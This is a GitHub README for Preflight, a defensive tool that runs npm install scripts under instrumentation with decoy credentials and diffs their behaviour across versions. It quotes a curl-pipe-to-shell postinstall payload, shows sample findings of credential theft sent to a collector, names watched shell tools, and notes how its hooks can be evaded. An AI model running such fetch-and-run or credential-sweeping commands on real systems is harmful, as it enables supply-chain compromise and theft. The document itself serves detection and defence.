Skip to content
Mohith26Public

About

Run an npm package's install scripts under instrumentation and diff what they do across versions

Resources

Stars

0 stars

Watchers

0 watching

Forks

Latest commit

 

History

1 Commit

Folders and files

Repository files navigation

Preflight

Run an npm package's install scripts under instrumentation, and diff what they do across versions.

npm install executes arbitrary code on your laptop before you have read a line of it. Preflight runs that code in a sandbox with a decoy home directory, records every file it touched, every host it resolved, every process it spawned and every environment variable it read, and then answers the only question that scales: did this version start doing something the last version never did?

$ preflight diff telemetry-core 1.4.0 1.4.1

[BLOCK] telemetry-core 1.4.0 -> 1.4.1
        new install-time path from a credential read to an unrecognised network destination

  capabilities gained
    + CRITICAL fs:read:aws-credentials      ~/.aws/credentials (scripts/setup.js:22)
    + CRITICAL fs:read:ssh-keys             ~/.ssh/id_ed25519 (scripts/setup.js:22)
    + CRITICAL fs:read:npm-token            ~/.npmrc (scripts/setup.js:22)
    + HIGH     net:collector.preflight-...  POST /ingest (scripts/setup.js:31)
    + MEDIUM   env:enumerate                40 vars (scripts/setup.js:26)

The lifecycle script on both versions is the same one line, node scripts/setup.js. A lockfile diff shows a version number. A source diff shows a file that got longer. Behaviour shows the actual change.


Why a behavioural diff rather than a scanner

Scanners answer "does this package look bad", which is a judgement about code that an attacker controls. Preflight answers "is this package doing something it has never done before", which is a judgement about behaviour across time and is much harder to launder.

That distinction matters because of how this class of attack actually lands. The 2025-2026 Shai-Hulud npm worm family did not publish suspicious new packages, it pushed patch releases of packages people already depended on. One recent variant searched 469 credential locations on developer machines. The ChainDrop wave compromised 1,300+ package versions representing roughly 2B monthly downloads. In one May 2026 incident the entry point was a project's own CI, and 84 malicious artifacts across 42 packages were published in six minutes.

In every one of those, the trustworthy signal was not the code. It was that 0.4.7 -> 0.4.8 went from touching nothing to reading ~/.npmrc.

Install

npm install -g preflight
# or run it without installing
npx preflight diff <package> <versionA> <versionB>

Node 20 or newer. No dependencies, first-party or otherwise: everything is Node builtins plus the system tar.

Use

preflight run esbuild@0.21.5            # execute the install scripts, report what they did
preflight diff lodash 4.17.20 4.17.21   # compare two versions
preflight watch esbuild                 # compare what you have installed against latest
preflight scan package-lock.json        # every package in the tree that can run code
preflight trace sharp@0.35.4            # raw JSONL events, for piping somewhere else

Exit codes are meant for CI: 0 clean, 1 needs review, 2 blocked, 3 usage error.

# fail a PR when a dependency bump gains a capability
- run: npx preflight scan package-lock.json --json > preflight.json

To stop the behaviour rather than just record it:

preflight run some-package@1.2.3 --enforce --allow-net registry.npmjs.org

Under --enforce, credential reads throw, egress to anything outside the allowlist throws, and non-allowlisted binaries exit 126. The attempt is still recorded, flagged blocked: true, so you get the finding and the containment.

How it works

Three layers, because no single one of them sees everything.

1. An in-process shim. Loaded into every Node process in the install via NODE_OPTIONS=--require, before the package's own code runs. It wraps fs, net, dns, http/https, fetch, child_process, and puts a Proxy on process.env. Child processes inherit NODE_OPTIONS, so the whole tree is covered.

2. PATH wrappers. The in-process shim only sees Node, and a lot of real payloads never touch Node at all: postinstall: curl -sf https://.../x.sh | sh is pure shell. So the sandbox prepends a directory of wrapper executables for 26 binaries that matter (curl, wget, nc, base64, security, osascript, launchctl, crontab and so on). Each logs its argv and then execs the real binary. Only binaries that actually exist on the host get wrapped, so command -v keeps telling the truth.

3. A filesystem snapshot. The package directory is hashed before and after, and the result is diffed against the published tarball's file list. A file that exists after the install but was never in the tarball is a dropped artifact; if it is executable, that is how a second stage persists.

The part that took the longest to get right

Naive hooks are useless, and it took real packages to find out why. Node copies the entire environment into every child process it spawns, resolves modules by walking parent directories, and opens sockets for its own reasons. Hook process.env and run esbuild, and the first report claims the package read AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, NPM_TOKEN and fifteen others. It did not. Node did, on its way to spawnSync.

So every event carries a callsite attribution: the shim walks the stack for the first frame that is not the runtime and not itself, and records whether the caller was the package, one of its dependencies, or Node. Runtime-attributed noise is dropped, with one deliberate exception, credential reads, which are kept no matter who appears to have triggered them.

That is also why reports point at a line:

CRITICAL fs:read:ssh-keys    ~/.ssh/id_ed25519 (scripts/post.js:9)
MEDIUM   env:enumerate       40 vars (node_modules/node-gyp-build/bin.js:8)

The second one is bufferutil, and the attribution is doing real work there: the enumeration is in a dependency, not in the package you installed.

A related fix, same cause: a spread of process.env fires one ownKeys and then a get for every key in the same tick. That is one bulk copy, not forty targeted reads, and conflating the two buries the signal.

Capability sets, not traces

Raw traces are not comparable. Timestamps move, pids move, temp paths move, CDNs rotate hostnames. So each run is reduced to the set of powers it exercised, which is stable: fs:read:aws-credentials, net:collector.example, proc:curl, env:enumerate. Diffing those sets is what makes the question meaningful. Two runs of the same version produce identical sets, which is asserted in the test suite rather than assumed.

Severity is not a vibe. It falls out of a combination rule: a credential read is bad, an unrecognised network destination is bad, and a single install that does both is an exfiltration path and scores as one finding rather than two.

Running untrusted code on your own machine

Preflight executes install scripts, so it gives them a decoy $HOME by default, populated with syntactically valid, entirely non-functional canaries: a fake ~/.aws/credentials, a fake ~/.npmrc, a fake ssh key at mode 0600, a fake kubeconfig, fake AWS_SECRET_ACCESS_KEY and GITHUB_TOKEN in the environment. A credential stealer finds what it is looking for, the read is recorded, and nothing real was ever in reach. --real-home exists and is not recommended.

Results

Everything below regenerates from the repo. npm run eval, npm run eval:real, npm run bench, and the JSON lands in results/.

Attack corpus. Eight fixture package pairs in test/fixtures/, each modelling a documented technique: credential sweep appended to a patch release, shell-only second stage, DNS-label exfiltration, dropped executable, keychain read through the shell, and a base64 payload evaluated at runtime whose source reads clean.

malicious upgrades blocked 6 / 6
benign upgrades passed 2 / 2
fully contained under --enforce 6 / 6

False positives on real packages. The number that decides whether anyone leaves this turned on. 43 pairs of adjacent published versions pulled live from npm, 86 instrumented installs, 25 of which declare lifecycle scripts, 21 of those ran to exit 0 (the rest need toolchains this machine does not have).

non-major upgrades evaluated 41
spurious blocks 0
flagged for review 3 (7.3%)

All three reviews are real observations, not noise: sqlite3 and es5-ext changed their lifecycle script body between versions, and node-pty added an install script that was not there before. Preflight is supposed to say something about those.

Overhead. Same lifecycle scripts, same sandbox, shim and PATH wrappers on versus off, 7 repetitions each, median reported.

median overhead 6ms (4.8%)
worst case 19ms

Tests. 49 tests, 0 failures, about 3 seconds. They run against a real registry served over HTTP from the test process, so the CLI is exercised end to end with no mocking and no network.

npm test

Limits

Worth being straight about, because a security tool that oversells itself is worse than none.

  • This is detection, not a sandbox. The in-process hooks are defeatable by code that goes looking for them. The PATH wrappers are defeatable by calling an absolute path. --enforce raises the cost of a payload; it does not make one impossible. What is genuinely hard to hide from is the behavioural diff, because evading it means matching the previous version's capability set exactly.
  • One package at a time. preflight run executes the target's own lifecycle scripts. Its dependencies are installed with --ignore-scripts so their behaviour is not attributed to the wrong package. Use preflight scan to cover a whole tree.
  • Time-of-check. A payload that stays dormant on the first run, or keys off a date or a CI environment variable, will not show up in a single execution.
  • macOS and Linux. The PATH wrapper layer is POSIX shell.

Layout

bin/preflight.js      CLI, argument parsing, exit codes
src/shim.cjs          in-process instrumentation and callsite attribution
src/pathshim.js       generated PATH wrappers for 26 watched binaries
src/execlog.cjs       the logger those wrappers call
src/sandbox.js        decoy home, canaries, filesystem snapshot and diff
src/runner.js         fetch, extract, install deps, execute lifecycle scripts
src/registry.js       npm client with integrity verification and caching
src/capability.js     trace -> capability set, severity, combination rules
src/diff.js           capability set diff and verdict
src/lockfile.js       npm v1/v2/v3 and yarn v1 lockfile parsing
src/report.js         terminal output
test/fixtures/        eight package pairs modelling documented attacks
test/helpers/         a real npm registry, served locally, for end-to-end tests
eval/ bench/          the scripts behind every number above

MIT.

About

Run an npm package's install scripts under instrumentation and diff what they do across versions

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages